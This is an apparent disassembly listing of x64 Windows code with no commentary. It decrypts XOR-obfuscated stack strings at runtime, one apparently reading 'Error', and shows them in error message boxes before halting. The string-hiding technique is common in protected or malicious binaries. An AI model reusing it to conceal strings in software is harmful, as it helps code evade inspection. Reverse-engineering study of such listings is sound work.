mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1420], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1428], rax
movabs r13, 0x761dcb54916380e1
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1430], rax
movabs rax, 0x62d4b9553f74edf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1438], rax
movdqa xmm0, xmmword [rbp + 0x1240]
xorps xmm0, xmmword [rbp + 0x1420]
movdqa xmmword [rbp + 0x1240], xmm0
movdqa xmm1, xmmword [rbp + 0x1250]
xorps xmm1, xmmword [rbp + 0x1430]
movdqa xmmword [rbp + 0x1250], xmm1
mov r9d, 0x10
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x1240]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.1408f08b0
int3
movabs r15, 0xa74714b47d3b25aa
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs r12, 0x4f2730ef306dbeee
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs r14, 0xa72814c67d4925ef
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
movabs rsi, 0x4f2730ef306dbe9c
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x1350]
movdqa xmmword [rbp + 0x10], xmm0
mov r9d, 0x10
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x16f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.1408f08b0
nop
movabs r15, 0xa74714b47d3b25aa
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs r12, 0x4f2730ef306dbeee
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs r14, 0xa72814c67d4925ef
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
movabs rsi, 0x4f2730ef306dbe9c
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x1350]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x4f7f30df304dbeee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x762fcb6c915280d8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x6291b9073f54edda
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x1ec7430b12377160
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x10fd58e3a893d144
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rdx, 0x48d26b489a86c9d5
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rcx, 0x129a61d9b3e7a67a
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x13d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13d8], rax
movabs r13, 0x761dcb54916380e1
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x13e0], rax
movabs rax, 0x62d4b9553f74edf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13e8], rax
movabs rax, 0x1e95434a12637133
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13f0], rax
movabs rax, 0x10be58b3a8b3d110
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13f8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1400], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1408], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x13d0]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmmword [rbp + 0x13e0]
movdqa xmmword [rbp + 0x80], xmm1
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x13f0]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
xorps xmm1, xmmword [rbp + 0x1400]
movdqa xmmword [rbp + 0xa0], xmm1
mov r9d, 0x10
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.1408f08b0
int3